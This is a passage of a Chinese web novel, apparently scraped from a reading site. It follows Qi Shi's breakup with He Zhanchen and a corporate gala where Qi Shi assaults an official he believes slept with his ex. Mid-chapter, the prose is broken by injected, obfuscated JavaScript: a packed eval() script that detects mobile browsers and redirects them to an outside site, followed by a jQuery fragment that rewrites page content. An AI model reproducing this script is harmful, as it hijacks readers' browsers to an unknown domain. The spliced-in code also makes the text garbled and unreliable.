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不同于刻意在万花丛里寻求来的刺激,仅是和心爱的人这样抱在一起耳鬓厮磨,无厘头地在床上笑闹翻滚着,他就要开心得晕过去了。 他当时不明白,原来那种心情就叫“幸福”。 “真的吗?”戚时含笑咬住他鼻尖,挑逗的语气像俯视者不经意的审问,又似是一个陷入爱恋的求欢者的撒娇,问:“你有多爱?” 他被这男妖孽迷得神魂颠倒,一边继续放任着那人勾引自己,一边拿出那条自问世起就承载着无限功德、寄予着他生命愿望的沉香手串,将它戴在了戚时的手腕。 “二哥,从今往后,它就是你的了。” “但是,从今往后,我不想再见到他。” 一道漠然决绝的烟嗓,将何湛程飘远的思绪拉回现实。 他通红着眼眶,一声不吭地拿着手机,听曾经的爱人跟现在的自己划分着界限: “提前打探清楚他来的时间,务必保证我来的时候遇不上他。” “我知道你偏心他,但这是我的私事,你没有插手的资格。” 茉莉心虚不已,低头应是。 “挂了。”对方说着就要挂电话。 “等、等一下!”茉莉忙道。 “怎么了?”对方似乎不太耐烦。 一条【不许抽烟】的手机屏横幅大字怼她面前,茉莉咽咽吐沫,满眼无奈地和何湛程对视一眼。 这小少爷也太高估她了,这哪里是她能管得了的事?! 何湛程倔强地瞪她,眼神催促。 于是茉莉温声提醒道:“戚总,您少抽点烟吧,我听您嗓子都哑了。” 对方没回。 电话嘟嘟两声,直接挂断。 茉莉接过手机,一脸意料之中的表情,冲何湛程耸了耸肩。 何湛程不死心,说:“那你告诉他,就说我说的,不许再抽了!” 茉莉不赞同道:“这样他就会知道刚才你在旁边听电话了。” 何湛程才不在乎这些,说:“知道就知道,本少爷是光明正大地听,又不是偷听。” 催促道:“你快,快点告诉他,他真的不能再抽了!” 茉莉无奈叫苦:“我的大少爷,我明白你的心情,但你可以光明正大地听,我不能随便泄露给你听啊!戚总如果知道我又卖他,他一定会杀了我的!” 何湛程忙安慰:“没事,你现在在沪上,我罩着你!” 茉莉实在不敢,态度坚决地摇头:“不行,除非你有更重要的事跟他讲,不然我还是更想守住我这条的小命。” 何湛程有点急躁道:“不让他再作死折磨自己这件事还不够重要吗!” 茉莉不是很理解道:“没事的吧?戚总这么大的人了,他肯定心里有数。” 何湛程简直无话可说。 茉莉要不去戚老二家里住几天呢? 她恐怕没见过戚时指间飘出的烟雾几乎能把整栋别墅都笼罩进去的阴森森场景吧? 还有,如果戚时真把自己的身体当回事儿,他会因为一段不稳定的感情,就说出要放弃治疗这种话么? 如果他真的精神正常,会在被家人强行拉去看心理医生的时候,提前准备七百多页的测试题答案试图蒙混过关吗? “那好,”他毫不犹豫道,“你给他发信息,就说我说的,让他抽烟这件事给我适可而止。还有,之前说好一起去雪山庙里,他今年还要不要陪我去?如果他不想去,那我也不去了!” 茉莉诧异,忍不住问:“你这话是闹着玩儿,还是……” “我认真的,说到做到!” 茉莉惴惴不安着,很想劝解几句,但见何湛程这一副破罐子破摔的犟脾气,她就算劝了也没什么用。 戚总也是一样的臭性子。 她私下听总部那边的同事说,戚总最近脾气大的吓人,不到俩月时间,光是总裁办的秘书就换了五个,两个被戚总的大嗓门吓哭的,三个连工位上的私人物品都没收拾就直接跑路的,战况十分惨烈。 茉莉心神俱疲。她叹了口气,按照何湛程意思,斟酌好字句,把这两件事给她老板发了过去。 然后再次将手机递给何湛程。 何湛程瞥了茉莉和戚时的聊天框,上面显示对方正在输入。 他目不转睛地盯着那行字,表面镇定,内心忐忑紧张到连呼吸都不敢。 下一秒,对方指名道姓发来一条消息: “何湛程,我不信佛。” 71.第71章 十月下旬,京城晚秋。 草木凋零,空气渐寒。 李氏泰华集团七十周年纪念庆典,商务宴请的帖子递遍全国,家族继承人李铮鸣在回国后首次公开亮相,诚邀各界精英赴会交流,地址选在自家泰华国际大酒店举办,来往政商界客人,无论多位高权重,全由他一人接待,俨然集团领导者的风范。 本次晚宴的目的很简单:明里,这是一场由国内龙头企业发起的、以“周年庆”为噱头的业内交流会;实际上,这是泰华集团在对各界宣告,从今往后,整个集团将正式步入李铮鸣的时代。 泰华集团的前身是汽车制造商,转型升级后主攻核心AI智能研发,同时涉及玩具制造、酒店连锁和医药能多个领域,名下设立有慈善基金会和多个政府合作项目,承接业务广泛,人脉资源丰富,别说小企业挤破头想来参加,就是很多大型企业代表人物,都紧赶慢赶、提前一两个小时来赴宴,生怕错过了和各界大佬碰面攀关系的机会。 夜幕降临,华灯初上。 酒店大厦金碧辉煌,门庭宾客三两经过,清一色的西装革履、云鬓衣香。 人们聚在一起,不时谈笑低语,往来豪车络绎不绝,二十名门童站成一排,姿态谦卑地躬身弯腰,礼貌地为客人们打开车门。 一辆大G缓缓驶入庭院,粗大轮胎碾过一尘不染的大理石砖地,车主面无表情,径自越过想要帮忙泊车的两个门童,自顾自打着方向盘,紧接着,只听“哧——”一声,那人蓦地横车漂移,毫不客气地将自己的车停在了SVIP车位。 来往众人议论纷纷,不禁驻足停步,不约而同看向这位行径嚣张的车主。 漆黑锃亮的皮鞋落地,身后“砰”地一声关车门,男人迈步下车。 一米九挺拔的个头,瘦腰宽肩黄金倒三角,姿态笔直双腿极长,走路如走台步,下颚微抬,神态睥睨,仿佛这里是他的主场。 他一双浓眉野气横生,五官凌厉具备十足的攻击性,容颜邪肆俊丽,彰显出朝气蓬勃的生命力。他人也很年轻,皮肤白皙,一袭剪裁高定西装,雍容贵气,垂落在西裤边的双手背部泛着淡青色的血管脉络,与缀饰在袖间如星光般璀璨的蓝宝石袖扣相得益彰—— 在场诸人都是三四十岁往上的中老年人,年轻人甫一登场,站在庭院中尤为鹤立鸡群。 来自五湖四海的、高矮胖瘦不一的、浑身遍布财色酒气的老总们斜着眼,目光审视地将他打量片刻,接着便低声探讨起这位的来头。 他孤身一人前来,发型梳理得一丝不苟,打扮得金尊玉贵,耀眼至极,一下车,迈开大长腿就往层层高阶上踏,西服外套隐隐刺绣着祥云纹,在满庭金光下波动着鳞片的暗光,他像条奔赴云霄巅峰的黑龙,一门心思只往宴厅里面进,可别说女伴儿了,他连个秘书都没带,哪里像来谈生意或者露脸结交权贵的? 众人想不通他来这里干什么? 见他衣着打扮,从头到脚一套光鲜亮丽的豪奢行头,举手抬足,眸光神态,三分骄狂显扬,七分老成持重,确实像个混迹于生意场的富商,而不是寻常的富二代或者官二代。 守在SVIP停车区的门童确认过车牌号,也证实了他的确是主人特邀请来的宾客。 两分钟。 从最底下一层台阶走到最高层一楼的宴厅门口,任是戚时这样一米九的大高个子,也要走足足两分钟。 两个身穿青花素雅旗袍的女迎宾守在门口左右,盘着头发,容颜大气,身段婀娜苗条,仪容仪表都极具专业性。 她们守了一整天,难得见一位相貌出众的宾客走来,各自眼前一亮,夹着脆亮嗓音,对他低头问候。 戚时也挑了下眉,目光锁定左边的旗袍美女,朝她走过去。 他问:“吕薇?” 吕薇抬头笑:“时哥!” 他们上次合同没谈拢。 一方面,吕薇进集团了解过后,发现擎荣影视部门旗下不温不火的签约末流八十线小演员实在是太多了,多到数不清的、万里挑一的帅哥美女,在公司里就像囤积过剩的商品,要么任人挑选,要么无人问津,真正荧幕上常见的那几位红人,才在占不到百分之8%,尤其听说戚时对三线以下的小明星采用的是放养式教育,这让吕薇更加没有安全感; 另一方面,经纪部门负责人王薪宇,他觉得吕薇属于野性美女的路子,不管是外貌还是脾气,才刚接触没几分钟,他就知道她属于容易不服管教那一类的艺人,难训、难养、更难捧! 若她真签了擎荣,两方迟早要不欢而散,倒不如趁现在和她交个朋友,往后擎荣有合适资源会适当提供给她,日后她火了—— 王总给戚时断言,说,她必火! “多个朋友多条路,等她火了,也方便带带咱们自家的艺人。” 戚时脑子里是先晃过这句话,才主动跟她打了句招呼。 吕薇见戚时目露诧异,主动笑声解释:“我有个学姐是这次宴会的总筹策划,她在我们学校招募高级迎宾,日薪五百,室内工作,不用端茶倒水,我听说是泰华集团的商务宴,想着肯定能见识很多大佬,正好今天我闲着没事儿,就和同学跑来玩儿了。” 说完,她抓起胸前的工作牌,笑嘻嘻地冲戚时摇两下:“当当!我今天也是泰华集团的工作人员喽!” 大概许久没见过这样调皮捣蛋的个性,戚时冷峻面容舒展开来,忍不住轻笑了声。 然后,他从兜里掏出两张烫金砖红底的商务请柬,递到她手里。 吕薇一脸懵逼地抬头望他。 他给她两张? 这里大部分宾客、包括许多官员也都只有一张,戚时这个搞娱乐业的外行人居然有两张?! 戚时不屑嗤一声:“站门口算什么?拿着这个,和你同学去楼上化妆间换身儿喜欢的礼服,就说你是我的人,让他们给你俩重新拾掇拾掇,打扮好了进来里边逛几圈,吃点东西拍拍照儿什么的,玩儿够了再出来当你俩的迎宾。” 旁边同学不禁惊叹一声“哇”,水灵灵的大眼睛好奇地盯着戚时看。 她不知道他的身份,只瞧得见他的半张侧脸:高挺傲人的鼻梁,眉峰峭拔眼窝深邃,侧颚锋利容颜俊美,一身金装华贵逼人—— 他不只是单纯的年轻英俊,他是令人心驰神往的高不可攀。 他察觉她打量的目光,冷淡视线一扫,偏过脸看她。 她吓了一跳,连忙缩头躲在吕薇身后。 他翘翘嘴角,逗小猫似的,挑眉问她:“你呢,怎么不说话?你不想去里面玩儿?” 说完,又擅自断言道:“嗯,你不想玩儿,你喜欢在这里扮演木头人。” 她脸有点红,清咳一声,鼓起勇气跟他叫板:“我会说话!你才是木头人!” 他是那种长相有点坏、但很容易令人一见钟情的男人。 戚时没理她,转脸对吕薇随口交代:“待会儿进来了,吃相好看点儿,别给老子丢脸。” 吕薇:“…………” 这是极其重要的大场面,戚时似乎不甚当回事,他敢说,她可不敢乱来,更不敢给她学姐惹麻烦。 但还是忍不住问:“哥,你把请柬给我俩了,你自己呢?” 戚时自嘲般一笑,懒洋洋朝她挥了下手,径自朝宴厅里走去。 “放心,哪能都便宜你们?哥还有一张。” 三张请柬,三个人。 第一张请柬,因为离得近,所以最先递到他手上。 是他年初就开始托陈北劲帮忙、一直想牵线搭桥、却始终被人推脱没时间的李铮鸣。 李铮鸣亲自打电话来,三十五岁的董事长,和他说话语气仍像和平辈,态度客气,简言意骇,说一直以来都只认识戚老大,没机会和他戚老二结识,李铮鸣对此表示很可惜,然后又说这次机会难得,一定要请他戚老二赏光云云。 戚时当然也客套说“承蒙照顾”,挂掉电话的下一秒,一双白眼恨不得翻上天。 不知道哪路神仙给李铮鸣这位自视甚高的天之骄子喂耗子药了,让这人终于肯纡尊降贵,主动结交他戚老二。 不过,反正不是他哥。 戚时心里清楚,他哥总觉得他不该认识太有身份的人,省得他这种暴脾气在酒桌上得罪了人,一转头不小心就被人家给针对上,最后闹得各方都不容易收场。 在集团,他哥负责向上管理,他负责对下管理。 他哥不知道,他其实早就受够了这种像小喽啰、跟屁虫一样的日子。 第二张请柬,来自何氏集团总部行政秘书长亲笔署名,从沪上转寄到他手上的。 何闽轩送给他的人情券。 先前戚时和何老大签合同,何家对他的要求主要有三: 一:戚时方面要无条件站在何老大身后,动用一切人脉和资源,帮何老大打赢每一场舆论战,尤其要在声势上碾压一切集团内外部的不和谐声,将何老大营造成众望所归的精英领袖,辅佐这位身世坎坷的太子爷顺理成章地继位; 二:戚时方面一旦签字,不得对任何人提及关于老爷子秘密入院这件事的只言片语,不得中途反悔退出计划; 三:戚时方面对本合同条款有终生保密的义务。 戚时方面可获得的: 一:与何家人缔结盟友关系,日后在不损害双方利益与立场的前提下,何家与戚时要做到资源互为补给; 二:戚时方面可获商业报酬两亿元。 合同里虽然说是“资源互为补给”,但显然是何家要帮衬他戚时,好在何氏家族势力庞大,父祖经营数代,最不缺的就是人脉关系;而对戚时来说,也是一笔非常划算的买卖,更别提还有两亿可拿,他当然就毫不犹豫地签了。 信和协议合同都是何老爷子和何闽轩商量着来的,把三弟送去京城著名花花公子的身边、有意要小混蛋在戚老二那里吃点苦头,甚至算计着八成概率,如此天造地设的俩人能看对眼儿,这样小混蛋日后就不会结婚生子—— 每走一步,全都是何闽轩一人的私心设计。 老爷子从来没想过给小儿子介绍男对象,他在信中对戚时语气亲昵,完全是出于长辈对一个晚辈后生的欣赏与爱重。 戚时读信时,私下已然和何湛程是两情相悦,原以为老爷子对他和程儿的态度是默许,心里一直受宠若惊,总觉得自己是攀了高枝儿,夜里和恋人同床共枕时,望着那人恬静安详的脸,他又不禁暗暗欢喜。 直到他第一次进病房探望“岳丈”,老爷子见他果然不错,笑眼慈爱,直接来一句:“我听说你还没结婚,正好,我有个小侄女,叫林翘楚,她是香港人,家里也是做生意的,只是她父母不喜欢她远嫁,很早就给她置办了套婚房做嫁妆,彩礼也是一律不收的,你愿意的话,我替你去说个媒?” 他恋人的父亲要把他介绍去自己侄女家里做上门女婿。 戚时嘴角勉强扯出一个笑,强忍住心底失落,回了句:“让何老见笑了,我已经有喜欢的人了。” 第二次再去,手腕戴上何湛程送他的那串沉香珠子。 那是他的程儿送给他的身份。 一个没有财权势力较量的、不存在背后家族利益交换的、双方关系纯粹平等的恋人身份。 老爷子瞅见了,一双眼睛瞪得老大,呆坐着床上,不可思议地盯了他好半晌。 老爷子是体面人,自始至终都没提过这茬,就算想提,也不好冲他发作。 后来有一次,老爷子实在忍不住了,旁敲侧击问他一句“湛程最近怎么样”,他淡淡回了句“他去旅行了,要过阵子才回来”。 他不知道他们后来会分手。 明明何湛程答应过,往后余生,只和他戚时一个人上床。 他只知道,为了保证老爷子的安全,为了让何闽轩同意他在医院安排自己的人手,他在合同条款上放弃了那两个亿。 上个月,何湛程在医院看完老爷子就飞美国了,那人临走前,拿着茉莉手机给他打了很多遍电话,数不清的微信、短信消息轰炸,很符合那人疯癫的做派。 那时已经将近黎明,身后窗外黑天破晓,他坐在书房办公椅上不停地抽烟,不时瞥眼看向桌边震动个不停的手机,一个都没接。 他明明还是很想那个人,可他不想接对方的电话。 何湛程问他,为什么分手了,他都没告诉何湛程老爷子患癌住院的事? 何湛程知道,他不是那种喜欢遵守教条规矩的人,更不会在意什么所谓的秘密合同。 为什么? 因为他恨他。 第二天,何闽轩给他来电话,说让他以后再探视老爷子,可以“随时过来”。 何闽轩想必清楚他们分手了,知道他人没捞着、钱也没捞着,心里定然要不痛快,何老大是为了安抚他,才专程寄过来这一张真正上流社会的入场券。 当然,以何闽轩的家世背景,人家也不缺这一两张。 最后一张请柬,随几箱顶级野山参、茶叶、银耳燕窝等礼品,由一家名不见经传的风投公司总经理亲自登门送来。 经理姓张,三十来岁,身材高瘦利落,笑起来平易近人,自称是在沪上做私募基金,今年刚跳槽到京城的新公司,目前在帮主业繁忙的老板做私人资产代理。 二人坐在会客室的沙发上交谈,张经理说他们老板在国外出差,没空参加泰华集团的周年庆典礼,就让他把帖子送到戚时这儿,希望借此机会和戚时交个朋友。 戚时莫名其妙,但伸手不打笑脸人,白送上门的礼物,他当然毫不犹豫就收了。 私下派人去查这位张经理和那家风投公司老板的底细,没料查了半个月都毫无动静,对方的老板也十分神秘,每当他手下人快要追溯到幕后源头时,线索立刻就断了,显然是人家故意不给他查到。 好在,那张请柬附赠了一张对方老板的联系方式。 戚时思来想去,主动给那串电话号码发过去一条短信: —您好,我是擎荣集团CEO戚时,阁下日前惠赠我已敬收,方便的话,我们见个面? 对方几乎是秒回: —见面么?什么时候? 戚时: —随您方便。 —能否先请教您贵姓? 对方: —免贵姓钟,我们同岁,你叫我覃倪吧。 —我目前不在国内,见面的话,明天可以吗? 戚时就没再回。 心中闪过几分失落,他还以为…… 他以为什么? 他也不知道。 偌大宴厅,男女宾客矜持地端着香槟四处走动,三两结伴谈笑风生,一首悠扬《夜曲》缓缓流转在这纸醉金迷的名利场,容貌清秀的服务生端着托盘擦肩而过,戚时随手拿起一杯红酒,仰头喝下,不时环顾四望,发现在场竟有不少熟人。 首先很容易注意到的是,几乎挤满了场内的中老年人群里,最夺目出挑的年轻人。 章政礼和秦颐儒,一身黑色西服正装,梳着油光锃亮的背头,英俊的脸上尚未褪去少年的青涩,手里始终端着酒杯,陪在他们各自父亲身边,和一群白发苍苍的老头子们低头敬酒,一脸乖巧懂事地应酬着。 偶尔闲暇下来,那俩人就原形毕露,默契地黏向对方说悄悄话,不时偷笑起来,直到他们父亲再次招手叫他们过去,俩人清咳一声,昂首挺胸,步履从容地一步步迈向自己注定平坦的仕途。 戚时轻嗤一声。 他四处闲逛着,经过自助餐桌旁,正要放下高脚杯,余光一瞥,看见了不远处的乔羽兄妹和他们的父母亲。 风流倜傥的哥哥一手端着杯酒,邪肆横生的脸笑得轻挑,他正在和一个漂亮女孩儿碰杯谈笑,另一手严严实实地搂着一袭碎星蓝抹胸晚礼服妹妹的肩膀,漫不经心地帮她避开好几个“不小心”蹭过来的男宾,当然,还有两个跑过来做自我介绍的青年才俊。 他像条护食的狼犬,笑意不达眼底,不许她挣扎乱动,更不容许任何男人靠近她。 旁边是雍容华贵的母亲,她抬手挽了下耳边碎发,笑容可掬地和一群太太夫人们聊天;左边是高大威严的父亲,他牵着母亲的手,不时和路过的朋友点头示意。 来往攀谈的宾客,以他们一家人为中心,从里向外堆起,而最里面的四个人,拍全家福似的,和谐美满的过分。 全家福? 戚时想,那真有够讨人厌的。 另一边,陈北劲正在人群堆里尬笑,站在他旁边的,是他那位房地产大亨的母亲许景辉。 不知道那群人在聊什么,母子俩脸色都不太好。 陈北劲一边敷衍应酬着,一边不停地扭头环顾四望,显然是要找个能救他的人脱离苦海。 戚时才一抬眼,正好对上那人如见救星般的目光。 陈北劲脸上立刻绽放出喜悦! 戚时目光一触即回,假装没看见,毫不犹豫扭身就走。 才迈出没两步,裤兜手机震动两下,戚时掏出来看,隔着不到五米远,陈北劲给他发消息: —给你十秒时间,快过来救我 —别忘了你还有把柄在我这里 戚时没招儿,重新端了杯酒就过去了。 先问候许景辉,颔首道:“许总。” 许景辉点点头:“你好。” 然后扭头对众前辈一一问候:“张总、朱总、林总、王总。”又对这群总的夫人太太点头示意。 众人识趣应声走开。 有人来找许景辉,她瞥了一眼儿子,说了句“以后给我收敛点儿”,不等陈北劲应,便转身去一旁和人闲聊去了。 陈北劲笑一声,心情舒畅地举杯冲戚时的红酒杯碰了下,说:“谢了,他们刚才看见我婚戒了,一直追着我问是谁家的千金,真讨厌。” 戚时脸色不是很好,仰头将杯中红酒一口闷掉,说:“抵消了。” 陈北劲挑眉:“抵消什么?” 戚时斜他一眼,抬手指两下他眉心,警告道:“少装,我没给你开玩笑。” 陈北劲轻啧一声,安慰道:“放心,我没那么无聊。” “前阵子我们在纽约见面,他跟我打听你,我什么都没说。” 陈北劲目前在斯坦福读MBA,恰好何湛程的两个堂弟也在加州上学,这帮亲戚兄弟们本身就智商相当,又是一个圈子里的人,如今身在异国他乡,闲暇时凑在一起聚会联络下感情很正常。 不过,这帮在加州上学的子弟,集体跑去纽约找何湛程玩儿,听起来怪怪的。 何厉风和何冲霆就算了,这是何家本家的兄弟,但是陈北劲—— 何湛程和陈北劲背地里互相唾弃,戚时深知,何湛程暂时还没有能让陈北劲亲自登门拜访的人格魅力。 戚时面无表情地举着空杯子递到唇边,两眼直勾勾地盯着宴厅正中央鎏光四溢的地板,随口问:“他打听我什么?” 陈北劲又笑一声,招手唤服务生,给他手里重新替换了杯满的香槟,说:“没什么要紧的,他就是问你最近身体好吗?身边有人了吗?还有——” 戚时:“还有什么?” 陈北劲摇摇头:“他问,能不能借我手机给你打个电话。” 戚时沉默,然后猛地仰头,将杯中香槟全部灌入喉。 然后说:“别给他。” 陈北劲失笑,叹息一声:“当然没给,我像是那么多事的人么?” 戚时莫名又有点不爽,瞪他一眼:“你不镀金去了么,怎么又跑回来了?” 陈北劲挑眉:“我?我回国探亲啊!我和我家那位都分开一个多月了,我不得回来看看啊!” 戚时:“……” 陈北劲好奇问他:“你呢?你收到李铮鸣的请柬了?你们有合作?” 戚时又瞪他一眼:“没有!” 他还想知道呢,李铮鸣为什么会给他发请柬? 年初二人在饭桌上约定了,陈北劲要帮戚时和李铮鸣牵线,但不知怎的,自从陈北劲戴上了婚戒,李铮鸣对他的态度就冷淡了许多,陈北劲有事相求,李铮鸣也不是很放在心上。 短短几个月,这一对儿学长学弟的关系倒退八万里,李铮鸣作为一个商人,利益为上,他对娱乐行业的事不感兴趣,因此没必要对戚时浪费时间。 曾经会为了学弟一句话,鞍前马后、无微不至地照顾他的学长,只是瞥了一眼学弟的婚戒,从此和对方泾渭分明,保持两个人该有的距离,陈北劲也没有指责对方的余地。 瞎子都能瞧出来是怎么回事。 陈北劲也是后知后觉。 晚了快十年的后知后觉。 戚时才觉得自己是真晦气! 早知道陈北劲这么不靠谱,他才不要再给这臭小子好脸色看! 陈北劲嗤声抗议:“你什么时候给过我好脸色?” 早在何湛程逃往墨西哥前,陈北劲就知道这俩人有一腿,但那时单纯以为是表弟闯祸,他不知道戚时也有点那方面的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772514|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈北劲真正知道这两个人原来是两情相悦,是在他出国前月的某个夜里。 当时他正搂着未婚夫在被窝没羞没臊的温存,马上邪火要燃起来了,戚时电话就没命地轰炸过来,大嗓门嚷着喊他出来喝酒,不然就开车去盛铭集团把他家公司的大门给撞个稀巴烂。 陈北劲无奈被迫出门,到了江山府才发现,偌大包厢只有戚时一个人,满屋子烟雾缭绕,酒瓶堆了满桌,最令人稀罕的是,屋里一个美女都没有。 陈北劲就笑了,半开玩笑着问戚时:“咋啦?你是不是失恋了?” 戚时浑身酒气,衣衫凌乱不堪,有些狼狈地趴在酒桌上,嘴里叼着根烟,一脸醉醺醺地去伸手拿打火机。 一听他这话,那醉鬼登时就癫笑起来。他笑得眼泪狂飙,笑得痛不欲生,狰狞发狠的脸上掩藏不住近乎扭曲的恨意,双眼通红着,嗜血深眸又带几分执着傻气,叫人不敢轻易靠近,又令人不自觉去怜悯。 “他跟别人睡了。” “不,是他主动跑去被人家睡了。” “他讨厌我到这种程度。” “哈哈哈哈他居然讨厌我到这种程度?!!” 那晚喝得烂醉,戚时吐了好几场,昏昏欲睡之际,他疲惫地倚靠在沙发上,一边泪流满面,一边痴笑自嘲着自言自语。 包厢晦暗的光影下,他半张脸隐藏在缭绕模糊的青雾里,止不住颤抖的手指间夹着烟,低下头猛吸一大口,炽红的烟灰掉落一大截,烧在他的衬衫和西裤上,烫得他毫无知觉。 戚时不留情面地骂骂咧咧着,将所有过错都归结到陈北劲和何闽轩头上,说,如果没有他俩搞得幺蛾子,他戚老二将永远是个喜欢女人的正常人,哪里还轮到让一个小他七岁的、不懂事的小屁孩给他戴绿帽子? 说完,笑着笑着又哭起来,戚时猛地朝陈北劲扑过去,双手掐着对方的脖子疯狂摇晃,大嗓门歇斯底里地吼着陈北劲,让人立刻!马上!现在!赶紧他妈的赔给他一个新的何湛程! 陈北劲惊呆在原地,被这疯子雷得外焦里嫩,好半响,险些被人晃断脖子了才终于反应过来。 不过,两幅面孔是戚时的一向作风了。 事后,隔了几天,陈北劲专门打电话问戚时酒醒没,如果醒了,戚时能不能给他解释一下那晚在酒桌的事? 戚时装傻充愣打死不肯承认,陈北劲就扬言要去给何湛程报信,戚时立刻就变了脸色,沉声警告陈北劲如果敢插手这件事,他一定会让他吃不了兜着走。 陈北劲就没再管。 没管,也没说,更没告诉戚时,为什么他们这帮子弟见面不是在加州的度假山庄,而是在纽约长老会医院心脏专科的高级病房里。 这边戚时让他保密,那边何湛程也让他保密。 这边对戚时隐瞒前任的病情,那边狠心拒绝一个百般恳求他借手机打电话的病人,陈北劲也觉得自己挺难做人的。 虽然他习惯置身事外,但见这两个人这般互相折磨,心里也不禁唏嘘。 “他呢?” 钢琴曲调随着宴会厅的金光缓缓流淌着,二人碰了下酒杯,戚时抿了口酒,状似不经意地问起:“他怎么样?” 陈北劲终于忍不住,瞪他一眼:“我是你们的传话筒吗?你真想知道的话,自己飞过去问!” 戚时莫名其妙:“怎么了?这酒里有枪子儿,让你冲成这样?” 陈北劲烦躁躁地抓了抓头发,话到嘴边,及时刹车,连忙转移话题:“你、你自己一个人来的?” 戚时缓缓垂眼,指腹悠闲地来回捻着高脚杯,说:“是。” 陈北劲“哦”一声:“你还没放弃和李铮鸣合作?” 戚时不屑地扯了下嘴角:“谁稀罕,不就几个破AI智能工程的项目么,舍了就舍了,老子是那种上赶着求人的人么?” 陈北劲纳闷:“那你来找谁?” 戚时正要开口,不远处一声男音低沉喊道“北劲”,正喝酒聊天的二人不约而同转头,就见李铮鸣和一个仪表堂堂的西装男人说笑着,各自手持一杯酒,并肩朝这边走来。 戚时冷眼一斜,目不转睛地盯着那位面相英俊温和的西装男人。 仰头,粗大喉结接连滚动,将剩在杯子里金色冒泡的酒液一饮而尽。 陈北劲走上前问候:“鸣哥,天涯哥。” 三人认识,但陈北劲和李天涯不算熟,只是打过照面,所以他只和李铮鸣寒暄了几句。 “在斯坦福读得怎么样?还算顺利么?” “就那样吧,就是经常会想家。” “呵,你小子没心没肺的,什么时候想过家?” “想我自己的家。” “少臭美!”李铮鸣笑道:“什么时候走?” “今天回来得匆忙,明早五点就得走了,回头家里开车送我去机场,都没几个小时好睡的。”陈北劲笑:“所以,鸣哥你得可怜可怜我,等下你致辞完就放我提前回家,怎么样?” “去!”李铮鸣没好气地挥手:“自己想溜就直接溜算了,我拦得住你?” 说完,上前和戚时碰杯,笑道:“这位想必就是排行老二的戚总吧?我认识你大哥,你和你大哥有几分像,他今天没来?” 戚时把玩着自己喝空了的高脚杯,然后抬手,将杯子举向高处,拿杯底部和对方的杯沿轻轻一碰。 空气中一声“啪呲”的清脆响,戚时昂着下巴,在李铮鸣杯中酒液漾起层层涟漪。 这是一个极其居高临下的姿态—— 被邀请来的客人与来示好的主人针锋相对,27岁的晚辈当众蔑视35岁的前辈,这已经不只是没礼貌的问题了。 这是不识好歹。 陈北劲当场愣住,以为戚时疯了,不停地给对方使眼色,暗示这哥可千万别在这么重要的公共场合给人家搞事。 李铮鸣脸色也不是很好。 戚时恍然不觉,放下酒杯,抱臂斜身倚靠在角落的墙上,淡淡道:“我是我,我哥是我哥,我们并不是一起的。” 李铮鸣理解了,不甚以为意地笑了声,将递出去的手收回来,说:“不好意思,我不是那个意思,但如果我的话让你误解了,我道歉。” 戚时不理他,直接转脸望向李天涯,毫不避讳地露出一副挑剔犀利的目光,将人从上到下地打量着。 最终将视线定格在男人那张因为人生太过一帆风顺、几乎没有岁月留痕的儒雅面庞上,似笑非笑道:“这位想必就是李部长了吧?” 李天涯笑着客套:“副职而已。” 然后放下酒杯,走过来和戚时握手:“你好,正式认识一下吧,我叫李天涯。” 戚时却不伸手,饶有兴致地重复了一遍他的名字,挑眉问:“李天涯?” 李天涯手悬在半空,略微尴尬,点头应道:“是。” 戚时点点头:“行,我没认错就行。” 李天涯不解:“什么?” 话音还没落完,几乎毫无征兆,对方一记重拳砸在他的脸上! 李天涯猝不及防,只听见自己鼻梁骨嘎嘣一声,接着眼前喷溅出血,鼻腔一阵热流裹挟着剧痛。 大脑还在梳理着整件事的逻辑,他人已然摔倒在地,李天涯皱了下眉,正挣扎着要站起,戚时就像头失控的恶兽,两眼猩红地扑压过来,一手死死地掐着他脖子,另一手不遗余力地抡着胳膊,一拳连着又一拳,低吼咆哮着,狠狠往他左右脸上招呼着。 “操你妈的!敢睡老子的人!” “没经老子同意,你他妈就敢睡老子的人?!” “泡他之前,你他妈也不知道撒泡尿照照自己什么德行!几百岁的老妖精,你他妈的配么!你配碰他么?!” “你敢把他操进医院?!老子都没舍得那么动他,你他妈的老混蛋,你敢把他欺负成那样?!” “畜生!他妈的老畜生!今儿晚上老子要是不跟你同归于尽,我他妈做鬼都不会放过你!!!” 李天涯被打得满脸青红几度晕厥,幸在身体素质好,他被人钳制得动弹不得,只好强撑着气力,皱眉跟人解释:“我、我们没有……” “没有什么没有!!你敢碰他,你就是罪该万死!!”戚时几近癫狂地怒声咆哮起来,双手猛地一把揪起他领子,一双通红双眼死死地瞪着他,冷笑着威胁道:“李天涯,你有命泡老子的人,就该有命吃老子的拳头!否则,就凭你身居高位还是个同性恋,老子分分钟让你身败名裂!!” “戚老二!”旁边陈北劲吓了一跳,忙冲过来摁住他,在他耳畔低声警告道:“别乱来!你惹不起李家的人,你知道他们势力多大吗?你敢整李天涯,你这辈子就完了!不止你,你哥也完了!你知道么!” “滚!”戚时一把大力将他搡开,三两下脱下外套扔一边,怒气冲冲地活动着筋骨,颇有些今晚不把李天涯打残废,他就誓不罢休的架势。 “戚总,”李铮鸣沉声呵斥:“请你理智一点!” “当面一套,背地里一套,你也给老子滚!” 整座宴会大厅都被这一嗓子吼安静了,众人面面相觑着,他们从未见过这么衣冠堂堂、却如此野蛮的人。 正中央的地上躺着鼻青脸肿的官员,还有一个骑在官员身上、疯了一样不停朝人脸上抡拳头的某集团老总。 周围密密麻麻都是人,这是天大的八卦,但没一个人敢拿手机拍照。 明眼人都能看出这是怎么回事,在场诸人都是人精,识时务者为俊杰,大家心照不宣地咽下这个秘密。 一群保安费劲巴列地冲进来,人手一个防暴漆棍,纷纷扑上去制住那个扰乱宴会的凶残歹徒。 保安领头人自知办事不力,连忙掏出手机说要报警,李铮鸣不悦地瞪他一眼,呵斥道:“报什么警!你现在就去把急救人员给我叫上楼!我们当务之急是要保证李部长的生命安全!” “好!好好!我马上去办!”保安领头忙不迭往外跑。 